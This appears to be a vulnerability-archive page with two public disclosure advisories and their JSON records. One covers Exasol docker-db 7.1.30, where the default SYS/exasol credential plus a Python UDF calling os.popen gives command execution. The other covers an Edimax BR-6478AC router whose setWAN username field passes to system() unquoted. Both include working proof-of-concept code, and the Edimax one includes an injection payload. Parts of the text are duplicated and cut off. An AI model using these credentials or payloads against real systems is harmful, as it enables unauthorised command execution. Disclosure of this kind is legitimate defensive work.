state that privileged container mode is required for permissions management, UDF support and environment configuration, so the privileged posture is the documented one rather than an unusual one, and gid 0 on Linux governs access to files and devices whose group is root. The whole of what the evidence supports is a conditional sentence: if an attacker in that position could write a setuid binary or reach a device node exposed by privileged mode, an effective root identity would follow. Neither was tested. What was tested is that the group membership is present, and it is reported as an untested escalation position under CWE-250 rather than as an achieved outcome. The isolation boundary was not glossed either. The UDF engine runs in a separate kernel namespace and that isolation is real but partial. A file written by the UDF did not appear in the container's own filesystem view, so the two views are distinct mount namespaces. Yet uname from inside the UDF returned the host kernel release, 5.10.134-19.2.al8.x86_64, which is expected, a namespace not being a hypervisor and the kernel being shared. Consequently the account names in the id output come from the namespace's own view, so even the /etc/passwd read is not asserted to have been the container's file or the host's. Command execution inside that namespace is confirmed and non-blind and is a substantial capability on its own; a host or container escape is not confirmed, not attempted and not claimed, and no cross-namespace file primitive is asserted. This is why the impact ratings rest on the SQL-layer authority of SYS, which does not depend on any of it. Network position, and a claim that was withdrawn. A socket inventory taken inside the running container reported exacts on 8563, bucketfsd on 2580, confd on 443 and sshd on 22, each bound to all interfaces within the container's network namespace. A listener bound to all interfaces inside a container is not the same thing as a listener reachable from a network, and no source-address restriction of the product's own was observed in its configuration or listener behaviour at any point. The vendor's README documents two ways to run the image and they differ exactly on the question that matters. The stand-alone command is docker run --name exasoldb -p 127.0.0.1:9563:8563 --detach --privileged --stop-timeout 120 exasol/docker-db:<version>, and the page explains that port 8563 within the container is exposed on local port 9563 and that the reader should use that port to connect, so the published port is bound to the host loopback; the persistent-volume variant on the same page uses the same loopback-bound publication. The multi-node command is docker run --detach --network=host --privileged -v "$CONTAINER_EXA:/exa" exasol/docker-db:<version> init-sc --node-id 11, and the vendor's note says the example uses the host network stack, that there is no need to expose ports in this mode, and that they are all accessible on the host. The image's FAQ adds that if you want to check from outside the Docker network you need port forwarding, which confirms that host-side reachability is an explicit operator action. Under default bridge networking with no port publication, which several of the README's own example commands use including the license-mount and resource-limit examples, the port is reachable from the host and from every other container attached to the same bridge, which is a logically adjacent topology. The research notes originally asserted that the production docker deployment exposes 8563 on all interfaces by default, and the chain was scored as remotely reachable on that basis. That assertion rested on the state of the researchers' own test harness and on a general expectation about how databases are deployed, not on any product artifact, and it does not survive contact with the vendor's documentation. It is therefore withdrawn in that form in the published advisory and replaced by the narrower artifact-backed set of statement
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Exasol Database Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Database",
          "vendor": "Exasol",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in Exasol\nDatabase 7.1.30, the in-memory MPP analytical database from Exasol AG\n(Germany), examined in its docker-db single-container deployment form. The SQL\nengine is a proprietary C implementation named EXASolution, the server process\nis exacts, clients speak a proprietary binary SQL protocol on port 8563 rather\nthan HTTP, TLS terminates on that port with a self-signed certificate carrying\nno subjectAltName, and the vendor\u0027s console client exaplus ships inside the\nimage. Three further services share the container: ConfD, an HTTPS JSON-RPC\nmanagement daemon on 443; BucketFS, an HTTP file service observed on 2580; and\nan OpenSSH server on 22. The image as pulled is about 6 GB and is distributed\nthrough Docker Hub.\n\nOne fact about this deployment form belongs at the top rather than at the\nbottom, because it explains why the research is public now instead of being\nheld for a patch. Exasol\u0027s own upstream repository warns that the docker\ndistribution is an open source project that is not officially supported by\nExasol; that the base image is an end-of-life CentOS 7 release; that official\nsupport for docker-db 7 is no longer available and that users should move to a\nnewer release line; that the repository now only contains documentation while\nthe binaries are distributed through Docker Hub; that issues are disabled; and\nthat the project is mainly intended for automatic testing of Exasol\ndeployments. None of that reduces the mechanism, because the credential is a\nproperty of the shipping database and the script engine is a supported core\nfeature of the product rather than a container add-on. It does mean that on\nthe vendor\u0027s own statements no fix is planned for this deployment form, so\nthere was no patch to coordinate around and holding the finding would have\nleft operators exposed without warning. Only version 7.1.30 in this deployment\nform was executed. Other 7.1.x releases, the supported non-container\ninstallation and the vendor\u0027s newer release line share the mechanism, a\nconstant SYS credential plus an unrestricted script language in the UDF\nengine, and are plausibly affected; none was tested, that is stated as an\nexplicitly labelled inference, and no version range is claimed.\n\nType and root cause. Two defects, separable but jointly decisive, classified\nas CWE-1392 use of default credentials (primary) and CWE-94 improper control\nof generation of code (co-equal), with CWE-798 hard-coded credentials, CWE-78\nOS command injection, CWE-1188 insecure default initialization and CWE-250\nexecution with unnecessary privileges recorded alongside, and CWE-284 and\nCWE-862 reported separately for the absent source-address restriction on 8563\nand the absent authorisation distinction for script creation. Neither\nseparately reported item raises a metric. Leg one on its own is a data breach.\nLeg two on its own is a documented feature. The pair produces an entry point\nthat required no provisioning decision by anyone, because nobody ever created\nthe account an attacker uses, and that converts SQL-layer administrative\naccess into operating-system command execution with the command output\nreturned in-band through the ordinary result set.\n\nThe credential is the vendor\u0027s own published text, not a leak and not an\ninference. The upstream docker-db README publishes it under the heading\n\"Connecting to the Database\", instructing the reader to authenticate with\nusername sys and password exasol. Two image-internal CI test scripts use the\nsame pair against a freshly initialised database on the same port:\nbasic_test.sh:112 carries $X -c n11:8563 -u sys -P exasol -jdbcparam\nvalidateservercertificate=0 and basic_sc_test.sh:98 uses -u sys -P exasol as\nwell. Those two files are not in the current upstream repository, which now\ncarries documentation only, so they are cited as artifacts observed inside the\n7.1.30 image at /usr/opt/EXASuite-7/EXAClusterOS-7.1.30/docker/test/ and not\nas repository contents. Nothing rotates the constant, and that was traced\nrather than assumed: the running controller process command line carries no\n-defaultSysPasswordHash argument; the [DB:DB1] stanza of EXAConf carries no\nDefaultSysPasswdHash key; db_jobs.py:104 sets self.sys_passwd_text =\nsecrets.token_hex(20), which generates an additional random password rather\nthan replacing the built-in one; database.py:57 passes -defaultSysPasswordHash\nonly when EXAConf configures it explicitly; and the container\u0027s init-sc path\ndoes not configure it. Nothing in the container\u0027s start path presents a\nfirst-login change-password step, sets a must-change flag on the SYS account\nor refuses service while the constant remains in place, and the README carries\nguidance about persistent volumes, hugepages, resource limits and license\nmounting with no instruction to change the SYS password; that absence is as\nload-bearing as the presence of the constant. The conclusion, corrected once\nduring the research before being accepted, is that the accepted value is a\nbuilt-in default of the database engine rather than a hash handed to it by the\ncontainer initialiser, and both the built-in value and the generated random\nare accepted, which is why random generation in the provisioning code is not a\ndefence. The contrast the product supplies is what makes this a defect rather\nthan a design choice: Exasol generated per-deployment randoms for two of its\nthree service credentials, the ConfD AuthenticationToken and the BucketFS\nWritePasswd, and did not do so for the most privileged one, and an attacker\nmust read EXAConf to recover either random while sys / exasol is a constant\nevery installation shares and the documentation prints.\n\nThe sink, in full:\n\n    CREATE SCHEMA IF NOT EXISTS poc_schema;\n    OPEN SCHEMA poc_schema;\n    CREATE OR REPLACE PYTHON3 SCALAR SCRIPT poc_udf()\n      RETURNS VARCHAR(2000000) AS\n    import os\n    def run(ctx):\n        out = os.popen(\"id\").read()\n        return \u0027RCE_OUT:\u0027 + out\n    /\n    SELECT poc_udf();\n\nThree properties make this a sink rather than a curiosity. The os module is\nimportable with no declaration, allow-list or capability request. The command\nstring is an ordinary Python literal built from what the caller supplied, so\nshell metacharacters, pipelines and quoting all work, and the measured round\nused cat /etc/passwd | head -3 whose pipeline was honoured by the shell\nos.popen starts. And the return value crosses the trust boundary back to the\ncaller through the ordinary result set, which removes the need for any\nseparate exfiltration channel. Sanitisation over what the body does is absent:\nno module allow-list or deny-list, no policy forbidding os or subprocess, no\ncapability gate, no per-statement approval, no audit prompt and no privilege\nbeyond SYS itself. What does exist is well-formedness checking rather than a\nsecurity control: the engine validates the language alias, submitting PYTHON\ninstead of PYTHON3 yields its own diagnostic \"no definition found for\nlanguage: PYTHON\", and it enforces SQL syntax and the forward-slash script\nterminator. Both were satisfied by the payload without evasion. That alias\ndiagnostic is worth more than it looks, because it shows script languages are\nresolved through a named alias table inside the engine, that the table carries\nthe standard aliases PYTHON3, LUA, JAVA and R, and that EXAConf contains no\n[ScriptLanguages] stanza customising it, so reachability is not conditional on\nan operator having installed or enabled a language pack.\n\nExecution identity, reported exactly as id returned it and not rounded up:\nuid=500(exadefusr) gid=500(exausers) groups=500(exausers),0(root). This is a\ndedicated script-execution account, not the database\u0027s own service identity,\nand it is not uid=0. Root appears only as a supplementary group, no escalation\nto an effective root identity was attempted, observed or is claimed, and\nnothing in this research should be described as a root compromise. The\nvendor\u0027s README does state that privileged container mode is required for\npermissions management, UDF support and environment configuration, so the\nprivileged posture is the documented one rather than an unusual one, and gid 0\non Linux governs access to files and devices whose group is root. The whole of\nwhat the evidence supports is a conditional sentence: if an attacker in that\nposition could write a setuid binary or reach a device node exposed by\nprivileged mode, an effective root identity would follow. Neither was tested.\nWhat was tested is that the group membership is present, and it is reported as\nan untested escalation position under CWE-250 rather than as an achieved\noutcome.\n\nThe isolation boundary was not glossed either. The UDF engine runs in a\nseparate kernel namespace and that isolation is real but partial. A file\nwritten by the UDF did not appear in the container\u0027s own filesystem view, so\nthe two views are distinct mount namespaces. Yet uname from inside the UDF\nreturned the host kernel release, 5.10.134-19.2.al8.x86_64, which is expected,\na namespace not being a hypervisor and the kernel being shared. Consequently\nthe account names in the id output come from the namespace\u0027s own view, so even\nthe /etc/passwd read is not asserted to have been the container\u0027s file or the\nhost\u0027s. Command execution inside that namespace is confirmed and non-blind and\nis a substantial capability on its own; a host or container escape is not\nconfirmed, not attempted and not claimed, and no cross-namespace file\nprimitive is asserted. This is why the impact ratings rest on the SQL-layer\nauthority of SYS, which does not depend on any of it.\n\nNetwork position, and a claim that was withdrawn. A socket inventory taken\ninside the running container reported exacts on 8563, bucketfsd on 2580, confd\non 443 and sshd on 22, each bound to all interfaces within the container\u0027s\nnetwork namespace. A listener bound to all interfaces inside a container is\nnot the same thing as a listener reachable from a network, and no\nsource-address restriction of the product\u0027s own was observed in its\nconfiguration or listener behaviour at any point. The vendor\u0027s README\ndocuments two ways to run the image and they differ exactly on the question\nthat matters. The stand-alone command is docker run --name exasoldb -p\n127.0.0.1:9563:8563 --detach --privileged --stop-timeout 120\nexasol/docker-db:\u003cversion\u003e, and the page explains that port 8563 within the\ncontainer is exposed on local port 9563 and that the reader should use that\nport to connect, so the published port is bound to the host loopback; the\npersistent-volume variant on the same page uses the same loopback-bound\npublication. The multi-node command is docker run --detach --network=host\n--privileged -v \"$CONTAINER_EXA:/exa\" exasol/docker-db:\u003cversion\u003e init-sc\n--node-id 11, and the vendor\u0027s note says the example uses the host network\nstack, that there is no need to expose ports in this mode, and that they are\nall accessible on the host. The image\u0027s FAQ adds that if you want to check\nfrom outside the Docker network you need port forwarding, which confirms that\nhost-side reachability is an explicit operator action. Under default bridge\nnetworking with no port publication, which several of the README\u0027s own example\ncommands use including the license-mount and resource-limit examples, the port\nis reachable from the host and from every other container attached to the same\nbridge, which is a logically adjacent topology.\n\nThe research notes originally asserted that the production docker deployment\nexposes 8563 on all interfaces by default, and the chain was scored as\nremotely reachable on that basis. That assertion rested on the state of the\nresearchers\u0027 own test harness and on a general expectation about how databases\nare deployed, not on any product artifact, and it does not survive contact\nwith the vendor\u0027s documentation. It is therefore withdrawn in that form in the\npublished advisory and replaced by the narrower artifact-backed set of\nstatement"
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      "title": "[0day-rubbish] Exasol Database 7.1.30 docker-db form: shipped default SYS credential to PYTHON3 UDF os.popen command execution as uid=500(exadefusr), output returned in-band (8.8)",
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GCVE-1988-2026-0495

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[0day-rubbish] Edimax BR-6478AC firmware v2.20 authenticated command injection in the setWAN WAN-configuration handler, root command execution (7.2)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in the Edimax BR-6478AC, firmware image BR6478AC_v2.20.bin, the dual-band AC1750 SOHO wireless router from Edimax Technology Co., Ltd. (Taiwan). A single authenticated POST that looks like an ordinary WAN settings submission reaches system() with a request-controlled username interpolated unquoted into a shell command line, behind a sanitiser that inspects exactly one character, and the web server process that executes it runs as root. Type and root cause. CWE-78, OS command injection, in the setWAN WAN-configuration handler of bin/webs, the embedded GoAhead-style HTTP server that serves the management interface on TCP port 80. The binary is ELF 32-bit big-endian MIPS, MIPS-I, uClibc, stripped, 762904 bytes, SHA256 ec39c0f9332361e37ab92f1999ac5f00f5742dd6db75f7cb26c0652cfedb32a1, from a SquashFS root filesystem of roughly 2.3 MB with an internal build timestamp from 2015. The registration websFormDefine("setWAN", ...) at 0x478484, handler at 0x441cec and name string at 0x4a6250, publishes POST /goform/setWAN. Inside the handler the WAN mode is read from the request and dispatched: websGetVar(wp, "wanMode", "") at 0x441d3c, atoi at 0x441d44, apmib_set(0x102, &wanMode) at 0x441d54, then addiu v1, zero, 2 at 0x441d60 and beq v0, v1, 0x441e74 at 0x441d6c. On the PPP branch, wanMode 2, the username field is taken from the request by websGetVar for pppUserName, whose name string is at 0x4953f4, copied with strcpy at 0x441e94 into a fixed stack buffer, measured with strlen at 0x441ea8, and scanned by an inline byte loop between 0x441ebc and 0x441ee4 whose only comparison is addiu a0, zero, 0x3b, a semicolon. Finding one, the loop writes a NUL and stops. That single-character scan is the entire sanitisation on the path. The value then goes into sprintf at 0x441ee8 using the format string at 0x49a510, echo %s > /tmp/UserName and from there into system(buf2) at 0x441f1c, reached through the PLT slot at 0x4c6d60, which hands the line to /bin/sh -c. A pipe, an ampersand, a backtick, a dollar sign with parentheses and an embedded newline are never inspected, so a username containing no semicolon reaches the shell untouched. The verified payload is a username of |id > /tmp/marker #, which builds the command line echo |id > /tmp/marker # > /tmp/UserName The shell treats the hash as a comment that swallows the sink's own redirect and runs id as the right-hand side of a pipeline, so the injected command executes and the file the handler was supposed to write is never created. The defence that arrives too late. An escape loop that replaces a hash with a backslash-escaped hash does exist in this handler, running between 0x441f4c and 0x441fb0. Two facts dispose of it. First, the instruction order: the loop is after system() at 0x441f1c and there is no branch back to it. Second, the buffer: the loop writes into the configuration buffer at sp+0x18, which is what apmib_set(0x6d, ...) stores at 0x44200c, not the buffer handed to the shell. The developer escaped the hash character for the value that gets stored and escaped nothing for the value that gets executed, which is a defensible priority if the threat model is a hash in a stored username breaking some later script that reads the configuration, and no defence at all against this sink. The dynamic replication confirms the consequence: the hash in the injected username reaches the shell as a comment and the sink's own redirect never fires. The sanitiser audit, and one trap for anyone re-reading the decompilation. Between websGetVar and system the only operations on the value are strcpy at 0x441e94, strlen at 0x441ea8, the inline immediate-0x3b scan and the unquoted sprintf at 0x441ee8. No regex call, no inet_aton, no isdigit, no isalnum, no strchr, no strcspn, no vendor validation helper and no custom validator appears on that path. The inet_aton calls that do exist in this function, at 0x441dd0 and 0x441e14, belong to the static-IP branch, wanMode 1, reached via the branch at 0x441d8c; the wanMode 2 comparison sends execution straight to the PPP branch and never enters that code. A quick read of the decompilation therefore misleads, because the function as a whole does contain address validation while the path that matters contains none. One root cause, three reachable parameters. The same construction appears three times in this handler, each selected by a value the request supplies: pppUserName on wanMode 2, with the sink region 0x441e74 to 0x441f1c and configuration object 0x6d written after the sink; pptpUserName on wanMode 3, from 0x4420d0 onward, configuration object 0xf3; and L2TPUserName on wanMode 6, from 0x44246c onward, configuration object 0x128. All three use the same immediate-0x3b scan, the same echo format string and the same system() call shape. The wanMode 2 path was verified instruction by instruction and replicated dynamically; the other two are reported from reading the same handler, which is a structural claim rather than a demonstrated one. A patch confined to the PPP path leaves the PPTP and L2TP paths injectable. A static comparison against a second model, offered as a lead and not as a finding. A second Edimax firmware image, BR-6208AC_V2_1.03, carries a different webs build, ELF 32-bit MSB MIPS-I, 816568 bytes, SHA256 3ad10a41d11c8cd59185eab6c9ce67b18cd2118942eb2201f48540d7846a0328, whose setWAN implementation matches instruction for instruction: handler at 0x448710, websGetVar for pppUserName at 0x4488b8, strcpy at 0x4488bc, the same inline immediate-0x3b scan at 0x4488dc to 0x4488fc, the same sprintf into /tmp/UserName at 0x448920 with its format string at 0x4a6954, system() at 0x448940, the same three parameters on the same three wanMode values, and the same single-realm Basic authentication model behind the same configuration flag. The differing addresses and binary size come from a different product build; the vulnerable path itself does not differ. The reasonable inference is a shared source component in the vendor's router software base. That model was not tested, nothing was executed from that image, no score covers it, and it is not an exploited finding on it. Scope of the pattern. A count of the shipped registration table found 91 /goform/form* handlers, of which roughly 85 reach a system() or popen() call, so the architectural root cause is a management server that builds shell command lines by string interpolation rather than one careless field. /goform/setWAN is not one of the four routes carrying a post-boot uptime gate (/mp.asp, /goform/mp, /advanced_management.asp and /goform/formAdvManagement, which redirect to /index.asp once /proc/uptime exceeds 600 seconds), so it is reachable at any time the device is up. Authentication and reach. The route requires a valid administrative session in normal operation. The gate auth_authorize at 0x404d00 reads configuration object 0x1bc, the setup-wizard flag, through apmib_get; once the device is past setup the security store at 0x4c7004, a single / entry of type Basic registered from the directive "Auth / /etc/boa/boa.passwd", covers every /goform/ path with HTTP Basic authentication. The product has no second lower-privileged role, so Privileges Required is High rather than Low: one realm entry, one password file, one account, an Allow directive handler at 0x407688 that is a stub answering "This version of Boa doesn't support access controls", a type-None string at 0x49070c that is never passed to auth_add, and a shipped configuration carrying one Auth directive and no Allow directive. The calling process is root because the shipped etc/boa/boa.conf declares User root, the server performs no setuid, chroot, namespace or capability drop, and it writes /var/run/webs.pid, which requires root on this filesystem, so the landing identity is uid=0(root) and there is no escalation step in the chain. Attack complexity is Low: the only branch to satisfy, wanMode, is supplied by the attacker, and there is no race, timing window, memory-layout requirement, gadget or user-specific state. The practical network position on a stock device is a host on the wired LAN or an associated wireless client, because the shipped firewall script drops WAN-originated SYN at firewall.sh:180, installs a default DROP input policy at firewall.sh:187 and accepts input on other interfaces at firewall.sh:189; that position includes guest wireless clients, any compromised device behind the router and anything bridged onto the segment, and remote management or a port forward moves it to the open internet. Severity. The published score is 7.2 High, CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, from ISS = 1 - 0.44^3 = 0.914816, Impact at S:U = 6.42 x 0.914816 = 5.873119, Exploitability = 8.22 x 0.85 x 0.77 x 0.27 x 0.85 = 1.234708 and Base = Roundup(5.873119 + 1.234708) = Roundup(7.107826) = 7.2. The provenance of that number is published because it is a correction: the research notes behind this work carried 8.8 written next to a PR:H vector, and 8.8 is the arithmetic of PR:L rather than of PR:H, so the figure was recomputed from the vector and published at 7.2, lowering the researchers' own number by 1.6 points. Four further readings are printed with their arithmetic. Privileges Required Low is rejected at 8.8 High, from Exploitability 2.835255 and Base Roundup(8.708373), because the product has no basic-user role for that metric to describe. Scope Changed is rejected at 9.1 High, from Impact at S:C = 6.128026, Exploitability 2.286496 and Base Roundup(1.08 x 8.414522), because webs is root before the attack and root after it and nothing is escaped. Attack Complexity High is rejected at 6.6 High, from Exploitability 0.705547 and Base Roundup(6.578666), because success depends on no condition outside the attacker's control. An adjacent-vector reading is published as a labelled alternative at 6.8 High, from Exploitability 0.900610 and Base Roundup(6.773729), and it is the honest description of a stock device whose WAN-side input policy drops new connections; AV:N is retained because the service is bound to the device's own network stack and addressable over IP by every host on the segment the router serves, and because remote management and port forwarding are ordinary documented product features. Default internet exposure is not claimed. Two readings at 9.8 Critical are published as explicitly labelled conditionals and are never the headline. The first applies where a deployment still accepts the factory credential shipped in the firmware, and it is reasoned rather than demonstrated: no device was authenticated against, so the path is an inference from the shipped password file plus the injection proven at the sink, and its Scope Changed variant, which computes to 10.0, is deliberately not published for the Scope reason above. The second applies to a device still in its pre-configuration setup state: when configuration object 0x1bc reads zero, auth_authorize returns success without a challenge for paths outside /mp.asp, /index.asp and /, at 0x4052d0, while /generate_204 answers 204, which is captive-portal behaviour. Three shipped artefacts identify that state as the setup wizard rather than normal operation: formwizResetDefault at 0x44cdbc resets the device and displays Resettowizard, formWizSetup prints NO - LOGIN-WEB when the flag is set to 1, and pages such as web/inter_wan.asp:214 and web/admin_timezone.asp:95 read the same flag to switch their interface. That branch is structural inference only, read from the binary and never exercised, and the state ends when setup completes; an early pass of this research misread it as an unauthenticated post-setup state, and the correction downgraded the finding to PR:H. If the window has to be contested rather than found open, the reading is 8.1 High from Exploitability 2.221167 and Base 8.094286. The factory credential is a separate weakness and not the vector. The i
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "BR-6478AC firmware",
          "vendor": "Edimax",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in the\nEdimax BR-6478AC, firmware image BR6478AC_v2.20.bin, the dual-band AC1750 SOHO\nwireless router from Edimax Technology Co., Ltd. (Taiwan). A single\nauthenticated POST that looks like an ordinary WAN settings submission reaches\nsystem() with a request-controlled username interpolated unquoted into a shell\ncommand line, behind a sanitiser that inspects exactly one character, and the\nweb server process that executes it runs as root.\n\nType and root cause. CWE-78, OS command injection, in the setWAN\nWAN-configuration handler of bin/webs, the embedded GoAhead-style HTTP server\nthat serves the management interface on TCP port 80. The binary is ELF 32-bit\nbig-endian MIPS, MIPS-I, uClibc, stripped, 762904 bytes, SHA256\nec39c0f9332361e37ab92f1999ac5f00f5742dd6db75f7cb26c0652cfedb32a1, from a\nSquashFS root filesystem of roughly 2.3 MB with an internal build timestamp\nfrom 2015. The registration websFormDefine(\"setWAN\", ...) at 0x478484, handler\nat 0x441cec and name string at 0x4a6250, publishes POST /goform/setWAN. Inside\nthe handler the WAN mode is read from the request and dispatched:\nwebsGetVar(wp, \"wanMode\", \"\") at 0x441d3c, atoi at 0x441d44, apmib_set(0x102,\n\u0026wanMode) at 0x441d54, then addiu v1, zero, 2 at 0x441d60 and beq v0, v1,\n0x441e74 at 0x441d6c. On the PPP branch, wanMode 2, the username field is\ntaken from the request by websGetVar for pppUserName, whose name string is at\n0x4953f4, copied with strcpy at 0x441e94 into a fixed stack buffer, measured\nwith strlen at 0x441ea8, and scanned by an inline byte loop between 0x441ebc\nand 0x441ee4 whose only comparison is addiu a0, zero, 0x3b, a semicolon.\nFinding one, the loop writes a NUL and stops. That single-character scan is\nthe entire sanitisation on the path. The value then goes into sprintf at\n0x441ee8 using the format string at 0x49a510,\n\n    echo %s \u003e /tmp/UserName\n\nand from there into system(buf2) at 0x441f1c, reached through the PLT slot at\n0x4c6d60, which hands the line to /bin/sh -c. A pipe, an ampersand, a\nbacktick, a dollar sign with parentheses and an embedded newline are never\ninspected, so a username containing no semicolon reaches the shell untouched.\nThe verified payload is a username of |id \u003e /tmp/marker #, which builds the\ncommand line\n\n    echo |id \u003e /tmp/marker # \u003e /tmp/UserName\n\nThe shell treats the hash as a comment that swallows the sink\u0027s own redirect\nand runs id as the right-hand side of a pipeline, so the injected command\nexecutes and the file the handler was supposed to write is never created.\n\nThe defence that arrives too late. An escape loop that replaces a hash with a\nbackslash-escaped hash does exist in this handler, running between 0x441f4c\nand 0x441fb0. Two facts dispose of it. First, the instruction order: the loop\nis after system() at 0x441f1c and there is no branch back to it. Second, the\nbuffer: the loop writes into the configuration buffer at sp+0x18, which is\nwhat apmib_set(0x6d, ...) stores at 0x44200c, not the buffer handed to the\nshell. The developer escaped the hash character for the value that gets stored\nand escaped nothing for the value that gets executed, which is a defensible\npriority if the threat model is a hash in a stored username breaking some\nlater script that reads the configuration, and no defence at all against this\nsink. The dynamic replication confirms the consequence: the hash in the\ninjected username reaches the shell as a comment and the sink\u0027s own redirect\nnever fires.\n\nThe sanitiser audit, and one trap for anyone re-reading the decompilation.\nBetween websGetVar and system the only operations on the value are strcpy at\n0x441e94, strlen at 0x441ea8, the inline immediate-0x3b scan and the unquoted\nsprintf at 0x441ee8. No regex call, no inet_aton, no isdigit, no isalnum, no\nstrchr, no strcspn, no vendor validation helper and no custom validator\nappears on that path. The inet_aton calls that do exist in this function, at\n0x441dd0 and 0x441e14, belong to the static-IP branch, wanMode 1, reached via\nthe branch at 0x441d8c; the wanMode 2 comparison sends execution straight to\nthe PPP branch and never enters that code. A quick read of the decompilation\ntherefore misleads, because the function as a whole does contain address\nvalidation while the path that matters contains none.\n\nOne root cause, three reachable parameters. The same construction appears\nthree times in this handler, each selected by a value the request supplies:\npppUserName on wanMode 2, with the sink region 0x441e74 to 0x441f1c and\nconfiguration object 0x6d written after the sink; pptpUserName on wanMode 3,\nfrom 0x4420d0 onward, configuration object 0xf3; and L2TPUserName on wanMode\n6, from 0x44246c onward, configuration object 0x128. All three use the same\nimmediate-0x3b scan, the same echo format string and the same system() call\nshape. The wanMode 2 path was verified instruction by instruction and\nreplicated dynamically; the other two are reported from reading the same\nhandler, which is a structural claim rather than a demonstrated one. A patch\nconfined to the PPP path leaves the PPTP and L2TP paths injectable.\n\nA static comparison against a second model, offered as a lead and not as a\nfinding. A second Edimax firmware image, BR-6208AC_V2_1.03, carries a\ndifferent webs build, ELF 32-bit MSB MIPS-I, 816568 bytes, SHA256\n3ad10a41d11c8cd59185eab6c9ce67b18cd2118942eb2201f48540d7846a0328, whose setWAN\nimplementation matches instruction for instruction: handler at 0x448710,\nwebsGetVar for pppUserName at 0x4488b8, strcpy at 0x4488bc, the same inline\nimmediate-0x3b scan at 0x4488dc to 0x4488fc, the same sprintf into\n/tmp/UserName at 0x448920 with its format string at 0x4a6954, system() at\n0x448940, the same three parameters on the same three wanMode values, and the\nsame single-realm Basic authentication model behind the same configuration\nflag. The differing addresses and binary size come from a different product\nbuild; the vulnerable path itself does not differ. The reasonable inference is\na shared source component in the vendor\u0027s router software base. That model was\nnot tested, nothing was executed from that image, no score covers it, and it\nis not an exploited finding on it.\n\nScope of the pattern. A count of the shipped registration table found 91\n/goform/form* handlers, of which roughly 85 reach a system() or popen() call,\nso the architectural root cause is a management server that builds shell\ncommand lines by string interpolation rather than one careless field.\n/goform/setWAN is not one of the four routes carrying a post-boot uptime gate\n(/mp.asp, /goform/mp, /advanced_management.asp and /goform/formAdvManagement,\nwhich redirect to /index.asp once /proc/uptime exceeds 600 seconds), so it is\nreachable at any time the device is up.\n\nAuthentication and reach. The route requires a valid administrative session in\nnormal operation. The gate auth_authorize at 0x404d00 reads configuration\nobject 0x1bc, the setup-wizard flag, through apmib_get; once the device is\npast setup the security store at 0x4c7004, a single / entry of type Basic\nregistered from the directive \"Auth / /etc/boa/boa.passwd\", covers every\n/goform/ path with HTTP Basic authentication. The product has no second\nlower-privileged role, so Privileges Required is High rather than Low: one\nrealm entry, one password file, one account, an Allow directive handler at\n0x407688 that is a stub answering \"This version of Boa doesn\u0027t support access\ncontrols\", a type-None string at 0x49070c that is never passed to auth_add,\nand a shipped configuration carrying one Auth directive and no Allow\ndirective. The calling process is root because the shipped etc/boa/boa.conf\ndeclares User root, the server performs no setuid, chroot, namespace or\ncapability drop, and it writes /var/run/webs.pid, which requires root on this\nfilesystem, so the landing identity is uid=0(root) and there is no escalation\nstep in the chain. Attack complexity is Low: the only branch to satisfy,\nwanMode, is supplied by the attacker, and there is no race, timing window,\nmemory-layout requirement, gadget or user-specific state. The practical\nnetwork position on a stock device is a host on the wired LAN or an associated\nwireless client, because the shipped firewall script drops WAN-originated SYN\nat firewall.sh:180, installs a default DROP input policy at firewall.sh:187\nand accepts input on other interfaces at firewall.sh:189; that position\nincludes guest wireless clients, any compromised device behind the router and\nanything bridged onto the segment, and remote management or a port forward\nmoves it to the open internet.\n\nSeverity. The published score is 7.2 High,\nCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, from ISS = 1 - 0.44^3 =\n0.914816, Impact at S:U = 6.42 x 0.914816 = 5.873119, Exploitability = 8.22 x\n0.85 x 0.77 x 0.27 x 0.85 = 1.234708 and Base = Roundup(5.873119 + 1.234708) =\nRoundup(7.107826) = 7.2. The provenance of that number is published because it\nis a correction: the research notes behind this work carried 8.8 written next\nto a PR:H vector, and 8.8 is the arithmetic of PR:L rather than of PR:H, so\nthe figure was recomputed from the vector and published at 7.2, lowering the\nresearchers\u0027 own number by 1.6 points. Four further readings are printed with\ntheir arithmetic. Privileges Required Low is rejected at 8.8 High, from\nExploitability 2.835255 and Base Roundup(8.708373), because the product has no\nbasic-user role for that metric to describe. Scope Changed is rejected at 9.1\nHigh, from Impact at S:C = 6.128026, Exploitability 2.286496 and Base\nRoundup(1.08 x 8.414522), because webs is root before the attack and root\nafter it and nothing is escaped. Attack Complexity High is rejected at 6.6\nHigh, from Exploitability 0.705547 and Base Roundup(6.578666), because success\ndepends on no condition outside the attacker\u0027s control. An adjacent-vector\nreading is published as a labelled alternative at 6.8 High, from\nExploitability 0.900610 and Base Roundup(6.773729), and it is the honest\ndescription of a stock device whose WAN-side input policy drops new\nconnections; AV:N is retained because the service is bound to the device\u0027s own\nnetwork stack and addressable over IP by every host on the segment the router\nserves, and because remote management and port forwarding are ordinary\ndocumented product features. Default internet exposure is not claimed.\n\nTwo readings at 9.8 Critical are published as explicitly labelled conditionals\nand are never the headline. The first applies where a deployment still accepts\nthe factory credential shipped in the firmware, and it is reasoned rather than\ndemonstrated: no device was authenticated against, so the path is an inference\nfrom the shipped password file plus the injection proven at the sink, and its\nScope Changed variant, which computes to 10.0, is deliberately not published\nfor the Scope reason above. The second applies to a device still in its\npre-configuration setup state: when configuration object 0x1bc reads zero,\nauth_authorize returns success without a 